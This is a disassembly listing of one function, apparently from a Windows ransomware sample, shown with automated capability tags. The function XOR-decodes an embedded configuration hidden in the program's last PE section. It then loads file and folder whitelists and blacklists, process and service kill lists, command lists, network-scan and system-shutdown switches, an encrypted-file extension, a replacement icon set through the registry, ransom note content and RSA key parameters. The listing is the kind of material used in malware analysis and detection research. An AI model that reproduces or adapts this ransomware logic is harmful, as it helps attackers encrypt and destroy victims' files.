Function at 0x40b0d0
Capabilities:
Encode data using xor
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46ac28
mov eax, dword fs:[0]
push eax
sub esp, 0x7c
mov eax, dword [0x49611c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, eax
test esi, esi
je 0x40b12a
mov eax, 0x5a4d
cmp word [esi], ax
je 0x40b131
mov edx, str.Invalid_DOS_header_signature.
mov ecx, 0x499480
call fcn.00406940
push eax
call fcn.00406bf0
add esp, 4
xor al, al
jmp 0x40bc29
mov ecx, dword [esi + 0x3c]
add ecx, esi
cmp dword [ecx], 0x4550
je 0x40b145
mov edx, str.Invalid_NT_header_signature.
jmp 0x40b117
movzx edx, word [ecx + 0x14]
movzx eax, word [ecx + 6]
add edx, ecx
test eax, eax
je 0x40bc0f
lea eax, [eax + eax*4]
mov ecx, dword [edx + eax*8 - 4]
mov edx, dword [edx + eax*8 - 8]
dec edx
mov dword [ebp - 0x84], edx
mov al, byte [ecx + esi]
inc ecx
mov byte [ebp - 0x85], al
add esi, ecx
movsx eax, al
xor ecx, ecx
movd xmm0, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm2, xmm0, 0
test edx, edx
je 0x40b1e4
cmp edx, 0x20
jb 0x40b1c4
mov eax, edx
and eax, 0xffffffe0
nop dword [eax]
movups xmm0, xmmword [esi + ecx]
movaps xmm1, xmm2
pxor xmm0, xmm2
movups xmmword [esi + ecx], xmm0
movups xmm0, xmmword [esi + ecx + 0x10]
pxor xmm1, xmm0
movups xmmword [esi + ecx + 0x10], xmm1
add ecx, 0x20
cmp ecx, eax
jb 0x40b1a0
cmp ecx, edx
jae 0x40b1e4
nop dword [eax + eax]
mov dl, byte [ebp - 0x85]
lea eax, [ecx + esi]
xor byte [eax], dl
inc ecx
cmp ecx, dword [ebp - 0x84]
jb 0x40b1d0
sub esp, 0x10
mov dword [ebp - 0x84], esi
xorps xmm0, xmm0
lea edx, [ebp - 0x84]
movq qword [ebp - 0x80], xmm0
call fcn.00407fc0
add esp, 0x10
mov dword [ebp - 0x80], fcn.0040aee0
mov edi, eax
mov dword [ebp - 4], 0
test eax, eax
je 0x40bbcf
xorps xmm0, xmm0
xor edi, edi
movq qword [ebp - 0x18], xmm0
mov dword [ebp - 0x7c], edi
mov dword [ebp - 0x18], fcn.0040aee0
mov dword [ebp - 0x14], eax
sub esp, 0x18
mov byte [ebp - 4], 2
mov ecx, esp
push str.file_extension_whites
call fcn.004039c0
lea ecx, [ebp - 0x18]
call fcn.0040bc50
test eax, eax
je 0x40b2a3
cmp byte [eax], 0x20
je 0x40b2a3
push eax
lea ecx, [ebp - 0x30]
call fcn.004039c0
lea edx, [ebp - 0x30]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x48]
call fcn.004129c0
mov edx, eax
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x54]
call fcn.0040af00
push eax
mov ecx, 0x49a720
call fcn.0040cb50
lea ecx, [ebp - 0x54]
call fcn.004037d0
lea ecx, [ebp - 0x48]
call fcn.00403880
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 2
call fcn.00403900
sub esp, 0x18
mov ecx, esp
push str.file_specify_whites
call fcn.004039c0
lea ecx, [ebp - 0x18]
call fcn.0040bc50
test eax, eax
je 0x40b310
cmp byte [eax], 0x20
je 0x40b310
push eax
lea ecx, [ebp - 0x30]
call fcn.004039c0
lea edx, [ebp - 0x30]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x48]
call fcn.004129c0
mov edx, eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x54]
call fcn.0040af00
push eax
mov ecx, 0x49a654
call fcn.0040cb50
lea ecx, [ebp - 0x54]
call fcn.004037d0
lea ecx, [ebp - 0x48]
call fcn.00403880
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 2
call fcn.00403900
sub esp, 0x18
mov ecx, esp
push str.file_folder_whites
call fcn.004039c0
lea ecx, [ebp - 0x18]
call fcn.0040bc50
test eax, eax
je 0x40b37d
cmp byte [eax], 0x20
je 0x40b37d
push eax
lea ecx, [ebp - 0x30]
call fcn.004039c0
lea edx, [ebp - 0x30]
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x48]
call fcn.004129c0
mov edx, eax
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x54]
call fcn.0040af00
push eax
mov ecx, 0x49a684
call fcn.0040cb50
lea ecx, [ebp - 0x54]
call fcn.004037d0
lea ecx, [ebp - 0x48]
call fcn.00403880
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 2
call fcn.00403900
sub esp, 0x18
mov ecx, esp
push str.file_path_black
call fcn.004039c0
lea ecx, [ebp - 0x18]
call fcn.0040bc50
test eax, eax
je 0x40b3ea
cmp byte [eax], 0x20
je 0x40b3ea
push eax
lea ecx, [ebp - 0x30]
call fcn.004039c0
lea edx, [ebp - 0x30]
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x48]
call fcn.004129c0
mov edx, eax
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x54]
call fcn.0040af00
push eax
mov ecx, 0x49a6b4
call fcn.0040cb50
lea ecx, [ebp - 0x54]
call fcn.004037d0
lea ecx, [ebp - 0x48]
call fcn.00403880
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 2
call fcn.00403900
sub esp, 0x18
mov ecx, esp
push str.file_extension_black
call fcn.004039c0
lea ecx, [ebp - 0x18]
call fcn.0040bc50
test eax, eax
je 0x40b457
cmp byte [eax], 0x20
je 0x40b457
push eax
lea ecx, [ebp - 0x30]
call fcn.004039c0
lea edx, [ebp - 0x30]
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x48]
call fcn.004129c0
mov edx, eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x54]
call fcn.0040af00
push eax
mov ecx, 0x49a6a8
call fcn.0040cb50
lea ecx, [ebp - 0x54]
call fcn.004037d0
lea ecx, [ebp - 0x48]
call fcn.00403880
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 2
call fcn.00403900
sub esp, 0x18
mov ecx, esp
push str.kill_keep
call fcn.004039c0
lea ecx, [ebp - 0x18]
call fcn.0040bc50
test eax, eax
je 0x40b4c4
cmp byte [eax], 0x20
je 0x40b4c4
push eax
lea ecx, [ebp - 0x30]
call fcn.004039c0
lea edx, [ebp - 0x30]
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x48]
call fcn.004129c0
mov edx, eax
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x54]
call fcn.0040af00
push eax
mov ecx, 0x49a6e4
call fcn.0040cb50
lea ecx, [ebp - 0x54]
call fcn.004037d0
lea ecx, [ebp - 0x48]
call fcn.00403880
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 2
call fcn.00403900
sub esp, 0x18
mov ecx, esp
push str.kill_server
call fcn.004039c0
lea ecx, [ebp - 0x18]
call fcn.0040bc50
test eax, eax
je 0x40b531
cmp byte [eax], 0x20
je 0x40b531
push eax
lea ecx, [ebp - 0x30]
call fcn.004039c0
lea edx, [ebp - 0x30]
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x48]
call fcn.004129c0
mov edx, eax
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x54]
call fcn.0040af00
push eax
mov ecx, 0x49a678
call fcn.0040cb50
lea ecx, [ebp - 0x54]
call fcn.004037d0
lea ecx, [ebp - 0x48]
call fcn.00403880
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 2
call fcn.00403900
sub esp, 0x18
mov ecx, esp
push str.cmds
call fcn.004039c0
lea ecx, [ebp - 0x18]
call fcn.0040bc50
test eax, eax
je 0x40b59e
cmp byte [eax], 0x20
je 0x40b59e
push eax
lea ecx, [ebp - 0x30]
call fcn.004039c0
lea edx, [ebp - 0x30]
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x48]
call fcn.004129c0
mov edx, eax
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x54]
call fcn.0040af00
push eax
mov ecx, 0x49a6c0
call fcn.0040cb50
lea ecx, [ebp - 0x54]
call fcn.004037d0
lea ecx, [ebp - 0x48]
call fcn.00403880
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 2
call fcn.00403900
sub esp, 0x18
mov ecx, esp
push str.enable_file_extension
call fcn.004039c0
lea ecx, [ebp - 0x18]
call fcn.0040bc50
mov esi, 1
test eax, eax
je 0x40b5f8
cmp byte [eax], 0x20
je 0x40b5f8
push eax
lea ecx, [ebp - 0x48]
call fcn.004039c0
mov ecx, eax
call fcn.0040ed90
lea ecx, [ebp - 0x48]
mov byte [ebp - 0x85], al
call fcn.00403900
movzx ecx, byte [0x49a5fe]
cmp byte [ebp - 0x85], 0
cmovne ecx, esi
mov byte [0x49a5fe], cl
sub esp, 0x18
mov ecx, esp
push str.enbale_specify_whites
call fcn.004039c0
lea ecx, [ebp - 0x18]
call fcn.0040bc50
test eax, eax
je 0x40b64d
cmp byte [eax], 0x20
je 0x40b64d
push eax
lea ecx, [ebp - 0x48]
call fcn.004039c0
mov ecx, eax
call fcn.0040ed90
lea ecx, [ebp - 0x48]
mov byte [ebp - 0x85], al
call fcn.00403900
movzx ecx, byte [0x49a60a]
cmp byte [ebp - 0x85], 0
cmovne ecx, esi
mov byte [0x49a60a], cl
sub esp, 0x18
mov ecx, esp
push str.enable_folder_whites
call fcn.004039c0
lea ecx, [ebp - 0x18]
call fcn.0040bc50
test eax, eax
je 0x40b6a2
cmp byte [eax], 0x20
je 0x40b6a2
push eax
lea ecx, [ebp - 0x48]
call fcn.004039c0
mov ecx, eax
call fcn.0040ed90
lea ecx, [ebp - 0x48]
mov byte [ebp - 0x85], al
call fcn.00403900
movzx ecx, byte [0x49a610]
cmp byte [ebp - 0x85], 0
cmovne ecx, esi
mov byte [0x49a610], cl
sub esp, 0x18
mov ecx, esp
push str.enable_black_path
call fcn.004039c0
lea ecx, [ebp - 0x18]
call fcn.0040bc50
test eax, eax
je 0x40b6f7
cmp byte [eax], 0x20
je 0x40b6f7
push eax
lea ecx, [ebp - 0x48]
call fcn.004039c0
mov ecx, eax
call fcn.0040ed90
lea ecx, [ebp - 0x48]
mov byte [ebp - 0x85], al
call fcn.00403900
movzx ecx, byte [0x49a5fc]
cmp byte [ebp - 0x85], 0
cmovne ecx, esi
mov byte [0x49a5fc], cl
sub esp, 0x18
mov ecx, esp
push str.enable_kill_keep
call fcn.004039c0
lea ecx, [ebp - 0x18]
call fcn.0040bc50
test eax, eax
je 0x40b74c
cmp byte [eax], 0x20
je 0x40b74c
push eax
lea ecx, [ebp - 0x48]
call fcn.004039c0
mov ecx, eax
call fcn.0040ed90
lea ecx, [ebp - 0x48]
mov byte [ebp - 0x85], al
call fcn.00403900
movzx ecx, byte [0x49a5fd]
cmp byte [ebp - 0x85], 0
cmovne ecx, esi
mov byte [0x49a5fd], cl
sub esp, 0x18
mov ecx, esp
push str.enable_kill_server
call fcn.004039c0
lea ecx, [ebp - 0x18]
call fcn.0040bc50
test eax, eax
je 0x40b7a1
cmp byte [eax], 0x20
je 0x40b7a1
push eax
lea ecx, [ebp - 0x48]
call fcn.004039c0
mov ecx, eax
call fcn.0040ed90
lea ecx, [ebp - 0x48]
mov byte [ebp - 0x85], al
call fcn.00403900
movzx ecx, byte [0x49a60b]
cmp byte [ebp - 0x85], 0
cmovne ecx, esi
mov byte [0x49a60b], cl
sub esp, 0x18
mov ecx, esp
push str.enable_cmds
call fcn.004039c0
lea ecx, [ebp - 0x18]
call fcn.0040bc50
test eax, eax
je 0x40b7d2
cmp byte [eax], 0x20
je 0x40b7d2
push eax
lea ecx, [ebp - 0x48]
call fcn.004039c0
lea ecx, [ebp - 0x48]
call fcn.00403900
sub esp, 0x18
mov ecx, esp
push str.multi_key
call fcn.004039c0
lea ecx, [ebp - 0x18]
call fcn.0040bc50
test eax, eax
je 0x40b810
cmp byte [eax], 0x20
je 0x40b806
push 0xa
push 0
push eax
call fcn.004560b4
add esp, 0xc
mov dword [0x496bf4], eax
jmp 0x40b810
mov dword [0x496bf4], 0
sub esp, 0x18
mov ecx, esp
push str.enc_cpu_range
call fcn.004039c0
lea ecx, [ebp - 0x18]
call fcn.0040bc50
test eax, eax
je 0x40b842
cmp byte [eax], 0x20
je 0x40b842
push 0xa
push 0
push eax
call fcn.004560b4
add esp, 0xc
mov dword [0x49a600], eax
sub esp, 0x18
mov ecx, esp
push str.enable_scan_network
call fcn.004039c0
lea ecx, [ebp - 0x18]
call fcn.0040bc50
test eax, eax
je 0x40b897
cmp byte [eax], 0x20
je 0x40b897
push eax
lea ecx, [ebp - 0x48]
call fcn.004039c0
mov ecx, eax
call fcn.0040ed90
lea ecx, [ebp - 0x48]
mov byte [ebp - 0x85], al
call fcn.00403900
movzx ecx, byte [0x49a5ff]
cmp byte [ebp - 0x85], 0
cmovne ecx, esi
mov byte [0x49a5ff], cl
sub esp, 0x18
mov ecx, esp
push str.enable_shutdown_system
call fcn.004039c0
lea ecx, [ebp - 0x18]
call fcn.0040bc50
test eax, eax
je 0x40b8ec
cmp byte [eax], 0x20
je 0x40b8ec
push eax
lea ecx, [ebp - 0x48]
call fcn.004039c0
mov ecx, eax
call fcn.0040ed90
lea ecx, [ebp - 0x48]
mov byte [ebp - 0x85], al
call fcn.00403900
movzx ecx, byte [0x49a608]
cmp byte [ebp - 0x85], 0
cmovne ecx, esi
mov byte [0x49a608], cl
sub esp, 0x18
mov ecx, esp
push str.encrypt_file_entension
call fcn.004039c0
lea ecx, [ebp - 0x18]
call fcn.0040bc50
test eax, eax
je 0x40b943
cmp byte [eax], 0x20
je 0x40b943
push eax
lea ecx, [ebp - 0x30]
call fcn.004039c0
lea edx, [ebp - 0x30]
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x48]
call fcn.004129c0
push eax
mov ecx, 0x49a63c
call fcn.0040cbe0
lea ecx, [ebp - 0x48]
call fcn.00403880
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 2
call fcn.00403900
sub esp, 0x18
mov ecx, esp
push str.icon_encod
call fcn.004039c0
lea ecx, [ebp - 0x18]
call fcn.0040bc50
test eax, eax
je 0x40ba7c
push eax
lea ecx, [ebp - 0x48]
call fcn.004039c0
mov dword [ebp - 0x64], 0xf
mov dword [ebp - 0x68], 0
mov byte [ebp - 0x78], 0
lea edx, [ebp - 0x78]
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x48]
call fcn.00403590
test al, al
je 0x40ba68
push 0x47d410
lea ecx, [ebp - 0x30]
call fcn.004039c0
lea edx, [ebp - 0x30]
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x78]
call fcn.00414ba0
lea ecx, [ebp - 0x30]
mov byte [ebp - 0x85], al
mov byte [ebp - 4], 0x15
call fcn.00403900
cmp byte [ebp - 0x85], 0
je 0x40ba68
push ecx
mov edx, 0x47ba78
lea ecx, [ebp - 0x30]
call fcn.0040ede0
push str.Icon
mov edx, 0x49a63c
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x60]
call fcn.00406c30
sub esp, 0x10
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x60]
mov ecx, esp
push eax
call fcn.00407970
cmp dword [ebp - 0x1c], 8
lea ecx, [ebp - 0x30]
cmovae ecx, dword [ebp - 0x30]
call fcn.00414da0
add esp, 0x18
lea ecx, [ebp - 0x60]
push str.DefaultIcon
call fcn.00407210
sub esp, 0x18
mov ecx, esp
push str.C:ProgramDataxx.ico
call fcn.0040cc60
cmp dword [ebp - 0x4c], 8
lea ecx, [ebp - 0x60]
cmovae ecx, dword [ebp - 0x60]
call fcn.00414da0
add esp, 0x18
push 0
push 0
push 0
push 0x8000000
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
lea ecx, [ebp - 0x60]
call fcn.00403880
lea ecx, [ebp - 0x30]
call fcn.00403880
lea ecx, [ebp - 0x78]
call fcn.00403900
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 2
call fcn.00403900
sub esp, 0x18
mov ecx, esp
push str.content
call fcn.004039c0
lea ecx, [ebp - 0x18]
call fcn.0040bc50
test eax, eax
je 0x40bb03
push eax
lea ecx, [ebp - 0x78]
call fcn.004039c0
mov dword [ebp - 0x1c], 0xf
mov dword [ebp - 0x20], 0
mov byte [ebp - 0x30], 0
mov esi, 0x49a660
mov byte [ebp - 4], 0x1a
mov edx, esi
lea ecx, [ebp - 0x78]
call fcn.00403590
test al, al
je 0x40bbad
cmp dword [0x49a674], 0x10
cmovae esi, dword [0x49a660]
lea ecx, [esi + 1]
nop
mov al, byte [esi]
inc esi
test al, al
jne 0x40bae0
sub esi, ecx
lea ecx, [ebp - 0x30]
mov dword [0x49a604], esi
call fcn.00403900
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 2
call fcn.00403900
sub esp, 0x18
mov ecx, esp
push str.rsa_n
call fcn.004039c0
lea ecx, [ebp - 0x18]
call fcn.0040bc50
test eax, eax
je 0x40bb62
push eax
lea ecx, [ebp - 0x78]
call fcn.004039c0
mov dword [ebp - 0x1c], 0xf
mov dword [ebp - 0x20], 0
mov byte [ebp - 0x30], 0
mov edx, 0x49a6cc
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x78]
call fcn.00403590
lea ecx, [ebp - 0x30]
test al, al
je 0x40bbb0
call fcn.00403900
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 2
call fcn.00403900
sub esp, 0x18
mov ecx, esp
push str.rsa_e
call fcn.004039c0
lea ecx, [ebp - 0x18]
call fcn.0040bc50
test eax, eax
je 0x40bbfb
push eax
lea ecx, [ebp - 0x78]
call fcn.004039c0
mov dword [ebp - 0x1c], 0xf
mov dword [ebp - 0x20], 0
mov byte [ebp - 0x30], 0
mov edx, 0x49a750
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x78]
call fcn.00403590
test al, al
jne 0x40bbeb
lea ecx, [ebp - 0x30]
call fcn.00403900
lea ecx, [ebp - 0x78]
call fcn.00403900
mov byte [ebp - 4], 0x23
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x40bbcf
push eax
call dword [ebp - 0x18]
add esp, 4
mov dword [ebp - 4], 0x24
test edi, edi
je 0x40b12a
push edi
call fcn.0040aee0
add esp, 4
xor al, al
jmp 0x40bc29
lea ecx, [ebp - 0x30]
call fcn.00403900
lea ecx, [ebp - 0x78]
call fcn.00403900
mov byte [ebp - 4], 0x25
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x40bc0d
push eax
call dword [ebp - 0x18]
add esp, 4
jmp 0x40bc27
mov edx, str.No_sections_found.
mov ecx, 0x499480
call fcn.00406940
push eax
call fcn.00406bf0
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00448a58
mov esp, ebp
pop ebp
ret